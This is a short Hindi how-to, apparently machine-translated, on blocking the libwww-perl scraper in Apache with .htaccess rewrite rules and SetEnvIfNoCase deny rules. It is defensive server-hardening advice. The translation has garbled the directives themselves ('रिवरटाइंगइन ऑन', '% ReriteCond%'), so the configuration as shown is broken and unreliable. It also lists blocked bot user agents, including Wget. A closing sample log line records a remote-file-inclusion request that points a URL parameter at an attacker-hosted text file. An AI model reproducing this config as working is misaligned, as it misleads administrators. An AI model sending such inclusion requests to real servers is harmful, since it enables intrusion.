Libwww-perl को कैसे ब्लॉक करें - कैसे

Libwww-perl को कैसे ब्लॉक करें

यह आपके डेटा सेंटर में बैंडविड्थ को खत्म करने में मदद करेगा और लंबे समय में पैसे बचाने में मदद करेगा। यह वेबसाइटों के लिए एक काफी सामान्य स्क्रैपिंग विधि है। मैं केवल इस समाधान की सलाह देता हूं यदि आप कम समय में कई कनेक्शनों से बड़ी मात्रा में कनेक्शन देख रहे हैं।

चरण 3 का उपयोग केवल तभी किया जाना चाहिए जब आपका वर्तमान अपाचे कॉन्फ़िगरेशन पहले से ही .htaccess फ़ाइलों का उपयोग कर रहा हो। यदि आप नहीं हैं, तो चरण 4 का उपयोग करें।

ऐसा इसलिए है क्योंकि .htaccess का उपयोग सर्वर पर अधिक तनाव का कारण बनता है क्योंकि Apache को प्रत्येक कनेक्शन के लिए .htaccess को पढ़ना पड़ता है।

ये सिफारिशें वर्तमान में मेरे उत्पादन वातावरण में उपयोग की जाती हैं। ये पत्थर के तरीकों में सेट नहीं हैं क्योंकि हर वातावरण अलग है। ये विधि अच्छे शुरुआती चरण हैं।

कुल 4 चरण

चरण 1: अपनी वेबनिर्देशिका में जाएं

सीडी / अपने / वेब / निर्देशिका

चरण 2: अपना .htaccess बनाएं / संपादित करें

मैं आपके पसंदीदा पाठ संपादक (GUI या पाठ-आधारित) के उपयोग की सलाह देता हूं

चरण 3: अपनी वेबसाइट से libwww-perl को ब्लॉक करने के लिए सामग्री जोड़ें

रिवरटाइंगइन ऑन
रिवाइटबेस /
% ReriteCond% {HTTP_USER_AGENT} libwww-perl। *
रिवरराइट। * - [एफ, एल]

चरण 4: अपने httpd.conf या /conf.d निर्देशिका में libwww-perl को ब्लॉक करें

SetEnvIfNoCase उपयोगकर्ता-एजेंट "^ Wget" bad_bot
SetEnvIfNoCase उपयोगकर्ता-एजेंट "^ EmailSiphon" bad_bot
SetEnvIfNoCase उपयोगकर्ता-एजेंट "^ EmailWolf" bad_bot
SetEnvIfNoCase उपयोगकर्ता-एजेंट "^ libwww-perl" bad_bot

आदेश की अनुमति, इनकार
सभी से अनुमति दें
Env = bad_bot से अस्वीकार करें

यह आपको अपने अपाचे लॉग में इस की एक सीमा देखने की अनुमति देगा
x2.1xx.6x.2x0 www.domain.com - [23 / अक्टूबर / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=hp://www.someattackersite.com /list.txt; HTTP / 1.1 "200 72672" - "" libwww-perl / 5.76 "